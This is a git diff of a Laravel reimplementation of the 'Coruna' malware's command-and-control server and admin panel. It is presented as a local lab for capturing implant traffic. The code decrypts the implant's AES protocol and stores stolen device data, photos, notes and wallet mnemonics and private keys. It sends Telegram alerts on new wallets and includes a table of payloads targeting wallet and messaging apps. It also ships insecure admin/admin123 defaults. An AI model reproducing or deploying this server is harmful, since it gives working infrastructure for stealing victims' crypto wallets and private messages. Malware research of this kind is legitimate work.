| 20 | `shrimp-artefact.htm` | `AppsFlyerConversion.dylib` | Trust Wallet | Realm/keystore;提取助记词与资产 |
|
||||
| 21 | `fresh_sausage.js` | `TPKeyboardAvoiding.dylib` | Uniswap | 读 mnemonic keychain / portfolio |
|
||||
| 22 | `win_wife.css` | `MBProgressOverlay.dylib` | OKX | Hook backup seed VM;读 wallet SQL(配置中常 `active:false`) |
|
||||
| 23 | `future-destroy.htm` | `libCoreSymbolicationHelper.dylib` | SpringBoard | 注入代理 / Helion IPC;与 core 协作 |
|
||||
| 24 | `chunk_hen.ts` | `libAggregateDictionaryClient.dylib` | WhatsApp | 截获消息/媒体元数据并上报 |
|
||||
| 25 | `candy_ketchup.html` | `WeChat.dylib` | 微信 | 本地 OCR/QR/敏感词/BIP39;命中后经 C2 上传 |
|
||||
| 26 | `horror-monster.ts` | `libDataAccessServices.dylib` | `imagent` | Hook SMS/iMessage;profile 与事件上报 |
|
||||
|
||||
原始 wire 文件来源目录:
|
||||
`coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/`
|
||||
解包 dylib:
|
||||
`…/downloads/extracted/<sha256>/`
|
||||
@@ -0,0 +1,18 @@
|
||||
root = true
|
||||
|
||||
[*]
|
||||
charset = utf-8
|
||||
end_of_line = lf
|
||||
indent_size = 4
|
||||
indent_style = space
|
||||
insert_final_newline = true
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.md]
|
||||
trim_trailing_whitespace = false
|
||||
|
||||
[*.{yml,yaml}]
|
||||
indent_size = 2
|
||||
|
||||
[compose.yaml]
|
||||
indent_size = 4
|
||||
@@ -0,0 +1,59 @@
|
||||
APP_NAME="Coruna Lab"
|
||||
APP_ENV=local
|
||||
APP_KEY=
|
||||
APP_DEBUG=true
|
||||
APP_URL=http://127.0.0.1:8000
|
||||
|
||||
APP_LOCALE=en
|
||||
APP_FALLBACK_LOCALE=en
|
||||
APP_FAKER_LOCALE=en_US
|
||||
|
||||
APP_MAINTENANCE_DRIVER=file
|
||||
|
||||
BCRYPT_ROUNDS=12
|
||||
|
||||
LOG_CHANNEL=stack
|
||||
LOG_STACK=single
|
||||
LOG_DEPRECATIONS_CHANNEL=null
|
||||
LOG_LEVEL=debug
|
||||
|
||||
# Preferred: MySQL 8.0
|
||||
DB_CONNECTION=mysql
|
||||
DB_HOST=127.0.0.1
|
||||
DB_PORT=3306
|
||||
DB_DATABASE=coruna
|
||||
DB_USERNAME=root
|
||||
DB_PASSWORD=
|
||||
|
||||
# Fallback for smoke tests when MySQL creds unavailable:
|
||||
# DB_CONNECTION=sqlite
|
||||
# DB_DATABASE=database/database.sqlite
|
||||
|
||||
SESSION_DRIVER=file
|
||||
SESSION_LIFETIME=120
|
||||
SESSION_ENCRYPT=false
|
||||
SESSION_PATH=/
|
||||
SESSION_DOMAIN=null
|
||||
|
||||
BROADCAST_CONNECTION=log
|
||||
FILESYSTEM_DISK=local
|
||||
QUEUE_CONNECTION=sync
|
||||
CACHE_STORE=file
|
||||
|
||||
# Admin seeder defaults
|
||||
ADMIN_USERNAME=admin
|
||||
ADMIN_PASSWORD=admin123
|
||||
|
||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
||||
CORUNA_SESSION_KEY=
|
||||
CORUNA_7Z_BIN=/opt/homebrew/opt/p7zip/bin/7z
|
||||
|
||||
# Telegram (new device / new wallet only — no bot commands, no /kill)
|
||||
TELEGRAM_BOT_TOKEN=
|
||||
TELEGRAM_OWNER_CHAT_ID=
|
||||
|
||||
# Reserved payout addresses — NOT wired (transfer skipped)
|
||||
PAYOUT_ETH=
|
||||
PAYOUT_BTC=
|
||||
PAYOUT_TRON=
|
||||
PAYOUT_SOL=
|
||||
@@ -0,0 +1,11 @@
|
||||
* text=auto eol=lf
|
||||
|
||||
*.blade.php diff=html
|
||||
*.css diff=css
|
||||
*.html diff=html
|
||||
*.md diff=markdown
|
||||
*.php diff=php
|
||||
|
||||
/.github export-ignore
|
||||
CHANGELOG.md export-ignore
|
||||
.styleci.yml export-ignore
|
||||
@@ -0,0 +1,26 @@
|
||||
*.log
|
||||
.DS_Store
|
||||
.env
|
||||
.env.backup
|
||||
.env.production
|
||||
.phpactor.json
|
||||
.phpunit.result.cache
|
||||
/.fleet
|
||||
/.idea
|
||||
/.nova
|
||||
/.phpunit.cache
|
||||
/.vscode
|
||||
/.zed
|
||||
/auth.json
|
||||
/node_modules
|
||||
/public/build
|
||||
/public/hot
|
||||
/public/log/*
|
||||
!/public/log/.gitignore
|
||||
/public/storage
|
||||
/storage/*.key
|
||||
/storage/pail
|
||||
/vendor
|
||||
Homestead.json
|
||||
Homestead.yaml
|
||||
Thumbs.db
|
||||
@@ -0,0 +1,98 @@
|
||||
# Coruna Lab C2 + Admin
|
||||
|
||||
Laravel reporting C2 API and LayuiAdmin console for local lab use.
|
||||
|
||||
- Implements reporting routes from the Coruna dataflow doc (§7.2)
|
||||
- AES-256-ECB JSON transport + multipart `/api/user/check` 7z extract
|
||||
- Persists devices / apps / photos / notes / wallets + full `c2_raw_logs`
|
||||
- Telegram notify on **new device** and **new/changed wallet address** only
|
||||
- **Does not** implement `/kill` or any mnemonic/private-key transfer
|
||||
|
||||
## Requirements
|
||||
|
||||
| Tool | Path / note |
|
||||
|------|-------------|
|
||||
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php` (do **not** use PATH’s old 7.3) |
|
||||
| Composer | via brew PHP |
|
||||
| MySQL 8.0 | preferred (`coruna_lab` DB) — sqlite works for smoke |
|
||||
| p7zip | `/opt/homebrew/opt/p7zip/bin/7z` for photo archives |
|
||||
|
||||
```bash
|
||||
export PATH="/opt/homebrew/opt/php/bin:$PATH"
|
||||
php -v # expect 8.5.x
|
||||
```
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cd coruna-lab/server
|
||||
cp .env.example .env # if needed
|
||||
# edit .env: DB_*, TELEGRAM_*, ADMIN_*
|
||||
|
||||
# MySQL 8 (DB: coruna) — set DB_* in .env then:
|
||||
php artisan key:generate # once
|
||||
php artisan migrate --seed
|
||||
php artisan serve --host=0.0.0.0 --port=8000
|
||||
```
|
||||
|
||||
Admin UI uses **layuiAdmin std iframe** assets from `public/static/layuiadmin/`
|
||||
(synced from local `layuiAdmin.std-v1.4.0/dist/layuiadmin`).
|
||||
|
||||
Default admin (from seeder / `.env`):
|
||||
|
||||
- Shell: `http://127.0.0.1:8000/admin`
|
||||
- Login: `http://127.0.0.1:8000/admin/login` — `admin` / `admin123`
|
||||
|
||||
## Point reporting at this lab
|
||||
|
||||
Implants call the campaign reporting host. For lab capture, resolve that host to this machine (DNS / `/etc/hosts` / mitm) so traffic hits `php artisan serve` (or a reverse proxy in front of `public/`).
|
||||
|
||||
C2 routes are unauthenticated (client-compatible). Admin is session-auth under `/admin`.
|
||||
|
||||
## C2 API reference
|
||||
|
||||
各 reporting 接口用途、请求/响应数据结构:[`docs/C2_API.md`](docs/C2_API.md)。
|
||||
|
||||
## Crypto
|
||||
|
||||
```text
|
||||
session_key = map(b -> (b%94)+33, bytes.fromhex(derive_archive_password(0))) # 16 ASCII
|
||||
aes_key = SHA256(session_key || timestamp) # 13-digit header
|
||||
body = Base64(AES-256-ECB-PKCS7(timestamp || payload))
|
||||
```
|
||||
|
||||
Optional `.env` override: `CORUNA_SESSION_KEY` (16 ASCII). Empty = PHP KDF (parity with Python `coruna_netconfig_pipeline.derive_archive_password(0)`).
|
||||
|
||||
Known vector: `SHA256(session_key) = 9bcc53d7…ef1be1e4`.
|
||||
|
||||
`/api/user/check`: repair Coruna 7z header, password `session_key||batchBase` (default `0`). `sig` is ignored.
|
||||
|
||||
## Env knobs
|
||||
|
||||
| Key | Purpose |
|
||||
|-----|---------|
|
||||
| `TELEGRAM_BOT_TOKEN` / `TELEGRAM_OWNER_CHAT_ID` | New device / wallet alerts |
|
||||
| `PAYOUT_ETH` / `BTC` / `TRON` / `SOL` | Reserved only — **not wired** |
|
||||
| `CORUNA_7Z_BIN` | p7zip binary |
|
||||
|
||||
## Tests
|
||||
|
||||
```bash
|
||||
php artisan test
|
||||
# Unit: CorunaCrypto vs Python vectors
|
||||
# Feature: query / avatar/set ingest / admin login
|
||||
```
|
||||
|
||||
## Layout
|
||||
|
||||
```text
|
||||
app/Services/CorunaCrypto.php # KDF + AES
|
||||
app/Services/CorunaArchive.php # 7z repair/extract
|
||||
app/Services/IngestService.php # device/apps/photos/notes/wallets
|
||||
app/Services/TelegramNotifier.php
|
||||
app/Http/Middleware/DecryptCorunaBody.php
|
||||
app/Http/Controllers/C2/…
|
||||
app/Http/Controllers/Admin/…
|
||||
public/static/layuiadmin/ # Layui UI assets
|
||||
storage/app/c2/ # check extracts + photos
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
/* C2 / API request file logs — patterned after qrpay create_log */
|
||||
|
||||
if (! function_exists('create_log')) {
|
||||
/**
|
||||
* Append a line to public/log/{type}/Ymd.log
|
||||
*
|
||||
* @param array|string $str
|
||||
*/
|
||||
function create_log($str, string $type = 'c2'): void
|
||||
{
|
||||
$str = is_array($str) ? json_encode($str, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) : (string) $str;
|
||||
$logPath = public_path('log/'.$type);
|
||||
if (! is_dir($logPath)) {
|
||||
$old = umask(0);
|
||||
mkdir($logPath, 0777, true);
|
||||
umask($old);
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
try {
|
||||
$url = request()->getRequestUri();
|
||||
} catch (\Throwable) {
|
||||
$url = $_SERVER['REQUEST_URI'] ?? '';
|
||||
}
|
||||
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
||||
$isNew = ! file_exists($logName);
|
||||
file_put_contents($logName, $logStr, FILE_APPEND);
|
||||
if ($isNew) {
|
||||
try {
|
||||
chmod($logName, 0777);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('admin')->check()) {
|
||||
return redirect()->route('admin.home');
|
||||
}
|
||||
|
||||
return view('admin.login');
|
||||
}
|
||||
|
||||
public function home()
|
||||
{
|
||||
return view('admin.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
|
||||
if (Auth::guard('admin')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('admin.home'));
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
{
|
||||
Auth::guard('admin')->logout();
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect()->route('admin.login');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\Wallet;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
{
|
||||
$filters = [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
];
|
||||
|
||||
$q = Device::query()->orderByDesc('updated_at');
|
||||
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['model'] !== '') {
|
||||
$q->where('device_model', 'like', '%'.$filters['model'].'%');
|
||||
}
|
||||
if ($filters['ip'] !== '') {
|
||||
$q->where('ip', 'like', '%'.$filters['ip'].'%');
|
||||
}
|
||||
if ($filters['ios'] !== '') {
|
||||
$q->where('ios_version', 'like', '%'.$filters['ios'].'%');
|
||||
}
|
||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) {
|
||||
$q->whereDate('created_at', '>=', $filters['installed_from']);
|
||||
}
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) {
|
||||
$q->whereDate('created_at', '<=', $filters['installed_to']);
|
||||
}
|
||||
|
||||
$devices = $q->paginate(30)->withQueryString();
|
||||
|
||||
return view('admin.devices.index', compact('devices', 'filters'));
|
||||
}
|
||||
|
||||
public function show(Device $device, Request $request)
|
||||
{
|
||||
$tab = $request->query('tab', 'apps');
|
||||
if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) {
|
||||
$tab = 'apps';
|
||||
}
|
||||
|
||||
$apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get();
|
||||
$events = $device->events()->orderByDesc('id')->limit(500)->get();
|
||||
$photos = $device->photos()->orderByDesc('id')->limit(200)->get();
|
||||
$notes = $device->notes()->orderByDesc('id')->limit(200)->get();
|
||||
$wallets = $device->wallets()->orderByDesc('id')->get();
|
||||
$addresses = $device->addresses()->orderByDesc('id')->get();
|
||||
|
||||
$maskedWallets = $wallets->map(function (Wallet $w) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source_app' => $w->source_app,
|
||||
'mnemonic' => Wallet::maskSecret($w->mnemonic),
|
||||
'privkey' => Wallet::maskSecret($w->privkey),
|
||||
'created_at' => $w->created_at,
|
||||
];
|
||||
});
|
||||
|
||||
return view('admin.devices.show', compact(
|
||||
'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses'
|
||||
));
|
||||
}
|
||||
|
||||
public function photo(Device $device, int $photo)
|
||||
{
|
||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
||||
|
||||
return response(Storage::disk('local')->get($row->path), 200)
|
||||
->header('Content-Type', $mime);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\File;
|
||||
|
||||
class RawLogController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
{
|
||||
$dir = public_path('log/c2');
|
||||
$files = [];
|
||||
if (is_dir($dir)) {
|
||||
foreach (File::files($dir) as $file) {
|
||||
if ($file->getExtension() !== 'log') {
|
||||
continue;
|
||||
}
|
||||
$files[] = [
|
||||
'name' => $file->getFilename(),
|
||||
'size' => $file->getSize(),
|
||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
||||
];
|
||||
}
|
||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
||||
}
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
|
||||
return view('admin.logs.index', compact('files', 'path', 'device'));
|
||||
}
|
||||
|
||||
public function show(Request $request, string $file)
|
||||
{
|
||||
$safe = basename($file);
|
||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
||||
abort(404);
|
||||
}
|
||||
$full = public_path('log/c2/'.$safe);
|
||||
abort_unless(is_file($full), 404);
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
$raw = (string) file_get_contents($full);
|
||||
$chunks = preg_split("/\r\n\r\n/", $raw) ?: [];
|
||||
$entries = [];
|
||||
foreach ($chunks as $chunk) {
|
||||
$chunk = trim($chunk);
|
||||
if ($chunk === '') {
|
||||
continue;
|
||||
}
|
||||
if ($path !== '' && ! str_contains($chunk, $path)) {
|
||||
continue;
|
||||
}
|
||||
if ($device !== '' && ! str_contains($chunk, $device)) {
|
||||
continue;
|
||||
}
|
||||
$entries[] = $chunk;
|
||||
}
|
||||
$entries = array_reverse($entries);
|
||||
|
||||
return view('admin.logs.show', [
|
||||
'file' => $safe,
|
||||
'entries' => $entries,
|
||||
'path' => $path,
|
||||
'device' => $device,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class C2Controller extends Controller
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
/** @var CorunaArchive */
|
||||
private $archive;
|
||||
|
||||
/** @var IngestService */
|
||||
private $ingest;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
$this->archive = $archive;
|
||||
$this->ingest = $ingest;
|
||||
}
|
||||
|
||||
public function query(): Response
|
||||
{
|
||||
return response('OK', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
public function avatarSet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function userGet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
public function avatarPut(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarStatus(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
// keystore-ish blobs
|
||||
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function status(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function set(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function check(Request $request): Response
|
||||
{
|
||||
$deviceKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$request,
|
||||
array_filter(['d' => $deviceKey]),
|
||||
$deviceKey ? (string) $deviceKey : null
|
||||
);
|
||||
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$counters = [
|
||||
'count' => $request->input('count'),
|
||||
'total' => $request->input('total'),
|
||||
'index' => $request->input('index'),
|
||||
'batchBase' => $batchBase,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $counters);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'counters' => $counters,
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarPic(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device) {
|
||||
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function profileNop(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function linkConfigList(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||
}
|
||||
|
||||
public function linkConfigIcon(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $data
|
||||
*/
|
||||
private function encryptedAck($data = null): Response
|
||||
{
|
||||
if ($data === null) {
|
||||
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
|
||||
}
|
||||
$enc = $this->crypto->encryptJson($data);
|
||||
|
||||
return response($enc['body'], 200)
|
||||
->header('Content-Type', 'text/plain')
|
||||
->header('timestamp', $enc['timestamp']);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
abstract class Controller
|
||||
{
|
||||
//
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\CorunaCrypto;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
class DecryptCorunaBody
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
}
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$headers = [];
|
||||
foreach (['timestamp', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
$timestamp = (string) $request->header('timestamp', '');
|
||||
$payload = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
$deviceKey = null;
|
||||
|
||||
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
if ($request->isMethod('GET')) {
|
||||
$decryptOk = true;
|
||||
} elseif ($isMultipart) {
|
||||
$payload = [
|
||||
'form' => $request->except(['file']),
|
||||
'has_file' => $request->hasFile('file'),
|
||||
];
|
||||
$decryptOk = true;
|
||||
$deviceKey = $request->input('d') ?: $request->input('f');
|
||||
} elseif ($raw !== '' && $timestamp !== '') {
|
||||
try {
|
||||
$payload = $this->crypto->decryptJsonBody($raw, $timestamp);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
}
|
||||
} elseif ($raw === '') {
|
||||
$decryptOk = true;
|
||||
} else {
|
||||
$error = 'missing timestamp or body';
|
||||
}
|
||||
|
||||
// Device id currently only from d/f (same value in live traffic).
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
$deviceKey = $payload[$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
|
||||
$response = $next($request);
|
||||
|
||||
$this->logResponse($request, $response, $path, $deviceKey);
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
|
||||
{
|
||||
$respBody = (string) $response->getContent();
|
||||
$respTs = (string) $response->headers->get('timestamp', '');
|
||||
$respHeaders = [];
|
||||
foreach (['timestamp', 'content-type', 'content-length'] as $h) {
|
||||
if ($response->headers->has($h)) {
|
||||
$respHeaders[$h] = $response->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$plain = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
|
||||
// GET /api/user/query → plain "OK"
|
||||
if ($request->isMethod('GET') || $respTs === '') {
|
||||
$plain = strlen($respBody) > 200000 ? substr($respBody, 0, 200000) : $respBody;
|
||||
$decryptOk = true;
|
||||
} elseif ($respBody !== '') {
|
||||
try {
|
||||
$plain = $this->crypto->decryptJsonBody($respBody, $respTs);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
$plain = strlen($respBody) > 2000 ? substr($respBody, 0, 2000) : $respBody;
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'out',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'status' => $response->getStatusCode(),
|
||||
'timestamp_hdr' => $respTs ?: null,
|
||||
'headers' => $respHeaders,
|
||||
'payload' => is_array($plain) || $plain === null || is_string($plain)
|
||||
? $plain
|
||||
: ['value' => $plain],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
|
||||
class Admin extends Authenticatable
|
||||
{
|
||||
protected $fillable = ['username', 'password'];
|
||||
|
||||
protected $hidden = ['password', 'remember_token'];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'password' => 'hashed',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Device extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
public function apps(): HasMany
|
||||
{
|
||||
return $this->hasMany(DeviceApp::class);
|
||||
}
|
||||
|
||||
public function events(): HasMany
|
||||
{
|
||||
